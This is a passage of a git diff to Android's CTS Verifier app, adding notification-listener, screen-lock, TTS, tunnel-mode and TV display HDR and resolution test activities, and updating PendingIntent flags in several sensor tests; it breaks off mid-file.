+    private class AddScreenLockTest extends InteractiveTestCase {
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.add_screen_lock);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            KeyguardManager km = getSystemService(KeyguardManager.class);
+            if (km.isDeviceSecure()) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_SECURITY_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
+    private class SecureActionOnLockScreenTest extends InteractiveTestCase {
+        @Override
+        protected void setUp() {
+            createChannels();
+            ActionTriggeredReceiver.sendNotification(mContext, true);
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            deleteChannels();
+            delay();
+        }
+
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, R.string.secure_action_lockscreen);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
+
+    private class RemoveScreenLockTest extends InteractiveTestCase {
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.remove_screen_lock);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            KeyguardManager km = getSystemService(KeyguardManager.class);
+            if (!km.isDeviceSecure()) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_SECURITY_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
+    /**
+     * Sends the user to settings filter out silent notifications for this notification listener.
+     * Sends silent and not silent notifs and makes sure only the non silent is received
+     */
+    private class NotificationTypeFilterTest extends InteractiveTestCase {
+        int mRetries = 3;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createAutoItem(parent, R.string.nls_filter_test);
+
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            sendNotifications();
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected void test() {
+            if (MockListener.getInstance().getPosted(mTag1) == null) {
+                Log.d(TAG, "Could not find " + mTag1);
+                if (--mRetries > 0) {
+                    sleep(100);
+                    status = RETEST;
+                } else {
+                    status = FAIL;
+                }
+            } else if (MockListener.getInstance().getPosted(mTag2) != null) {
+                logFail("Found" + mTag2);
+                status = FAIL;
+            } else {
+                status = PASS;
+            }
+        }
+    }
+
+    protected class SendUserToChangeFilter extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createUserItem(
+                    parent, R.string.cp_start_settings,  R.string.nls_change_type_filter);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            if (getIntent().resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                if (buttonPressed) {
+                    status = PASS;
+                } else {
+                    status = RETEST_AFTER_LONG_DELAY;
+                }
+                next();
+            }
+        }
+
+        protected void tearDown() {
+            // wait for the service to start
+            delay();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_DETAIL_SETTINGS);
+            intent.putExtra(Settings.EXTRA_NOTIFICATION_LISTENER_COMPONENT_NAME,
+                    MockListener.COMPONENT_NAME.flattenToString());
+            return intent;
+        }
+    }
+
+    protected class ResetChangeFilter extends SendUserToChangeFilter {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createUserItem(
+                    parent, R.string.cp_start_settings,  R.string.nls_reset_type_filter);
+        }
+    }
+
+    protected class AskIfFilterChanged extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, R.string.nls_original_filter_verification);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
index be78556..253749b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
@@ -89,7 +89,7 @@
                                 0,
                                 new Intent(activity, TimeoutResetActivity.class)
                                         .putExtra(EXTRA_OLD_TIMEOUT, oldTimeout),
-                                0));
+                                PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
         });
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java b/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java
index 53d715a..452e591 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/projection/ProjectedPresentation.java
@@ -31,8 +31,6 @@
         // This theme is required to prevent an extra view from obscuring the presentation
         super(outerContext, display, android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
 
-        getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
-
         // So we can control the input
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index b1ce20e..9bad7af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -74,7 +74,7 @@
                                             new IntentFilter(ACTION_ALARM));
 
             Intent intent = new Intent(this, AlarmReceiver.class);
-            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
index b80be40..3f5b736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -298,7 +298,7 @@
         LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
                                         new IntentFilter(ACTION_ALARM));
         Intent intent = new Intent(this, AlarmReceiver.class);
-        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
         mScreenManipulator = new SensorTestScreenManipulator(this);
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7e55f2..0a96886 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -198,7 +198,7 @@
         SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
 
         Intent intent = new Intent(this, AlarmReceiver.class);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);
         am.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/speech/tts/TtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/speech/tts/TtsTestActivity.java
new file mode 100644
index 0000000..f95162d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/speech/tts/TtsTestActivity.java
@@ -0,0 +1,39 @@
+package com.android.cts.verifier.speech.tts;
+
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.view.View;
+import android.widget.Button;
+import androidx.annotation.Nullable;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Guide the user to run test for the TTS API.
+ */
+public class TtsTestActivity extends PassFailButtons.Activity {
+
+  private Button mAccessibilitySettingsButton;
+
+  @Override
+  protected void onCreate(@Nullable Bundle savedInstanceState) {
+    super.onCreate(savedInstanceState);
+
+    setContentView(R.layout.tts_main);
+    setInfoResources(R.string.tts_test, R.string.tts_test_info, -1);
+    setPassFailButtonClickListeners();
+
+    mAccessibilitySettingsButton = findViewById(R.id.accessibility_settings_button);
+    mAccessibilitySettingsButton.setOnClickListener(new View.OnClickListener() {
+        public void onClick(View v) {
+            try {
+                startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS), 0);
+            } catch (ActivityNotFoundException e) {}
+        }
+    });
+  }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
new file mode 100644
index 0000000..d99672d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -0,0 +1,131 @@
+package com.android.cts.verifier.tunnelmode;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.File;
+
+/**
+ * Test for verifying tunnel mode implementations properly handle content flushing. Plays a stream
+ * in tunnel mode, pause it, flush it, resume, and user can mark Pass/Fail depending on quality of
+ * the AV Sync. More details in go/atv-tunnel-mode-s.
+ * TODO: Implement the actual test. This is a placeholder implementation until the test design is
+ * stable and approved.
+ */
+public class MediaCodecFlushActivity extends PassFailButtons.Activity {
+    private static final String TAG = MediaCodecFlushActivity.class.getSimpleName();
+
+    private SurfaceHolder mHolder;
+    private int mAudioSessionId = 0;
+    private MediaCodecTunneledPlayer mPlayer;
+    private Handler mHandler;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.sv_play);
+        setPassFailButtonClickListeners();
+        disablePassButton();
+
+        SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surface);
+        mHolder = surfaceView.getHolder();
+        mHolder.addCallback(new SurfaceHolder.Callback(){
+                public void surfaceCreated(SurfaceHolder holder) {
+                    // TODO: Implement a start button, rather than playing the video as soon as the
+                    // surface is ready
+                    playVideo();
+                }
+
+                public void surfaceChanged(
+                        SurfaceHolder holder, int format, int width, int height) {}
+                public void surfaceDestroyed(SurfaceHolder holder) {}
+            });
+
+        mHandler = new Handler(Looper.getMainLooper());
+
+        AudioManager am = (AudioManager) getApplicationContext().getSystemService(AUDIO_SERVICE);
+        mAudioSessionId = am.generateAudioSessionId();
+
+        mPlayer = new MediaCodecTunneledPlayer(mHolder, true, mAudioSessionId);
+
+        // TODO: Do not rely on the video being pre-loaded on the device
+        Uri mediaUri = Uri.fromFile(new File("/data/local/tmp/video.webm"));
+        mPlayer.setVideoDataSource(mediaUri, null);
+        mPlayer.setAudioDataSource(mediaUri, null);
+    }
+
+    private void playVideo() {
+        try {
+            mPlayer.start();
+            mPlayer.prepare();
+            mPlayer.startThread();
+            mHandler.postDelayed(this::pauseStep, 5000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not play video", e);
+        }
+    }
+
+    private void pauseStep() {
+        try {
+            mPlayer.pause();
+            mHandler.postDelayed(this::flushStep, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not pause video", e);
+        }
+    }
+
+    private void flushStep() {
+        try {
+            mPlayer.flush();
+            mHandler.postDelayed(this::resumeStep, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not flush video", e);
+        }
+    }
+
+    private void resumeStep() {
+        try {
+            mPlayer.start();
+            mHandler.postDelayed(this::enablePassButton, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not resume video", e);
+        }
+    }
+
+    private void enablePassButton() {
+        getPassButton().setEnabled(true);
+    }
+
+    private void disablePassButton() {
+        getPassButton().setEnabled(false);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        if (mPlayer != null) {
+            mPlayer.pause();
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mPlayer != null) {
+            mPlayer.reset();
+            mPlayer = null;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
index 4f8a825..0127082 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -125,14 +125,16 @@
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
-                            + " for PCM16 2 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
+                            + " for PCM 2 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
                     .isTrue();
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return false "
                             + "for EAC3 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
                     .isFalse();
 
             ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
@@ -171,14 +173,16 @@
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
-                            + " for PCM16 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
+                            + " for PCM 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
                     .isTrue();
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true "
                             + "for EAC3 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
                     .isTrue();
 
             ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index 72a34ba..e6128d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -69,12 +69,154 @@
     @Override
     protected void createTestItems() {
         List<TestStepBase> testSteps = new ArrayList<>();
-        testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
-        testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
+        if (TvUtil.isHdmiSourceDevice()) {
+            // The device is a set-top box or a TV dongle
+            testSteps.add(new NonHdrDisplayTestStep(this));
+            testSteps.add(new HdrDisplayTestStep(this));
+            testSteps.add(new NoDisplayTestStep(this));
+        } else {
+            // The device is a TV Panel
+            testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
+            testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
+        }
         mTestSequence = new TestSequence(this, testSteps);
         mTestSequence.init();
     }
 
+    private static class NonHdrDisplayTestStep extends SyncTestStep {
+
+        public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_hdr_capabilities_test_step_non_hdr_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_hdr_connect_no_hdr_display, context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities()")
+                    .that(display.getHdrCapabilities().getSupportedHdrTypes())
+                    .isEmpty();
+        }
+    }
+
+    private static class HdrDisplayTestStep extends SyncTestStep {
+
+        public HdrDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_hdr_capabilities_test_step_hdr_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_hdr_connect_hdr_display, context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+
+            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
+
+            Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
+
+            int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
+            Arrays.sort(supportedHdrTypes);
+
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
+                    .that(supportedHdrTypes)
+                    .isEqualTo(
+                            new int[] {
+                                Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
+                                Display.HdrCapabilities.HDR_TYPE_HDR10,
+                                Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
+                                Display.HdrCapabilities.HDR_TYPE_HLG
+                            });
+
+            float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
+                    .that(maxLuminance)
+                    .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
+
+            float minLuminance = hdrCapabilities.getDesiredMinLuminance();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
+                    .that(minLuminance)
+                    .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
+
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
+                    .that(hdrCapabilities.getDesiredMaxAverageLuminance())
+                    .isIn(Range.openClosed(minLuminance, maxLuminance));
+        }
+    }
+
+    private static class NoDisplayTestStep extends AsyncTestStep {
+        public NoDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_hdr_capabilities_test_step_no_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_hdr_disconnect_display,
+                    context.getString(getButtonStringId()),
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTestAsync() {
+            // Wait for the user to disconnect the display.
+            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
+            mContext.getPostTarget().postDelayed(this::runTest, delay);
+        }
+
+        private void runTest() {
+            try {
+                // Verify the display APIs do not crash when the display is disconnected
+                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+                display.isHdr();
+                display.getHdrCapabilities();
+            } catch (Exception e) {
+                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
+            }
+            done();
+        }
+    }
+
     private static class TvPanelReportedTypesAreSupportedTestStep extends YesNoTestStep {
         public TvPanelReportedTypesAreSupportedTestStep(TvAppVerifierActivity context) {
             super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
new file mode 100644
index 0000000..cee5dac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
@@ -0,0 +1,331 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.content.Context;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.view.Display;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+import com.android.cts.verifier.tv.TvUtil;
+
+import com.google.common.base.Throwables;
+import com.google.common.truth.Correspondence;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import javax.annotation.Nullable;
+
+/**
+ * Test for verifying that the platform correctly reports display resolution and refresh rate. More
+ * specifically Display.getMode() and Display.getSupportedModes() APIs are tested. In the case for
+ * set-top boxes and TV dongles they are tested against reference displays. For TV panels they are
+ * tested against the hardware capabilities of the device.
+ */
+public class DisplayModesTestActivity extends TvAppVerifierActivity {
+    private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+    private static final float REFRESH_RATE_PRECISION = 0.01f;
+
+    private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
+            (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
+
+    private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
+            Correspondence.from((Display.Mode displayMode, Mode mode) -> {
+                return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
+            }, "is equivalent to");
+
+    private TestSequence mTestSequence;
+
+    @Override
+    protected void setInfoResources() {
+        setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    protected void createTestItems() {
+        List<TestStepBase> testSteps = new ArrayList<>();
+        if (TvUtil.isHdmiSourceDevice()) {
+            // The device is a set-top box or a TV dongle
+            testSteps.add(new NoDisplayTestStep(this));
+            testSteps.add(new Display2160pTestStep(this));
+            testSteps.add(new Display1080pTestStep(this));
+        } else {
+            // The device is a TV Panel
+            testSteps.add(new TvPanelReportedModesAreSupportedTestStep(this));
+            testSteps.add(new TvPanelSupportedModesAreReportedTestStep(this));
+        }
+        mTestSequence = new TestSequence(this, testSteps);
+        mTestSequence.init();
+    }
+
+    @Override
+    public String getTestDetails() {
+        return mTestSequence.getFailureDetails();
+    }
+
+    private static class NoDisplayTestStep extends AsyncTestStep {
+        public NoDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_display_modes_test_step_no_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_display_modes_disconnect_display,
+                    context.getString(getButtonStringId()),
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTestAsync() {
+            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
+            mContext.getPostTarget().postDelayed(this::runTest, delay);
+        }
+
+        private void runTest() {
+            try {
+                // Verify the display APIs do not crash when the display is disconnected
+                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+                display.getMode();
+                display.getSupportedModes();
+            } catch (Exception e) {
+                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
+            }
+            done();
+        }
+    }
+
+    private static class Display2160pTestStep extends SyncTestStep {
+        public Display2160pTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_display_modes_test_step_2160p,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_display_modes_connect_2160p_display,
+                    context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            getAsserter()
+                    .withMessage("Display.getMode()")
+                    .about(MODE_SUBJECT_FACTORY)
+                    .that(display.getMode())
+                    .isEquivalentToAnyOf(
+                            REFRESH_RATE_PRECISION,
+                            new Mode(3840, 2160, 60f),
+                            new Mode(3840, 2160, 50f));
+
+            Mode[] expected2160pSupportedModes =
+                    new Mode[] {
+                        new Mode(720, 480, 60f),
+                        new Mode(720, 576, 50f),
+                        // 720p modes
+                        new Mode(1280, 720, 50f),
+                        new Mode(1280, 720, 60f),
+                        // 1080p modes
+                        new Mode(1920, 1080, 24f),
+                        new Mode(1920, 1080, 25f),
+                        new Mode(1920, 1080, 30f),
+                        new Mode(1920, 1080, 50f),
+                        new Mode(1920, 1080, 60f),
+                        // 2160p modes
+                        new Mode(3840, 2160, 24f),
+                        new Mode(3840, 2160, 25f),
+                        new Mode(3840, 2160, 30f),
+                        new Mode(3840, 2160, 50f),
+                        new Mode(3840, 2160, 60f)
+                    };
+            getAsserter()
+                    .withMessage("Display.getSupportedModes()")
+                    .that(Arrays.asList(display.getSupportedModes()))
+                    .comparingElementsUsing(MODE_CORRESPONDENCE)
+                    .containsAtLeastElementsIn(expected2160pSupportedModes);
+        }
+    }
+
+    private static class Display1080pTestStep extends SyncTestStep {
+        public Display1080pTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_display_modes_test_step_1080p,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_display_modes_connect_1080p_display,
+                    context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+
+            getAsserter()
+                    .withMessage("Display.getMode()")
+                    .about(MODE_SUBJECT_FACTORY)
+                    .that(display.getMode())
+                    .isEquivalentToAnyOf(
+                            REFRESH_RATE_PRECISION,
+                            new Mode(1920, 1080, 60f),
+                            new Mode(1920, 1080, 50f));
+
+            final Mode[] expected1080pSupportedModes =
+                    new Mode[] {
+                        new Mode(720, 480, 60f),
+                        new Mode(720, 576, 50f),
+                        // 720p modes
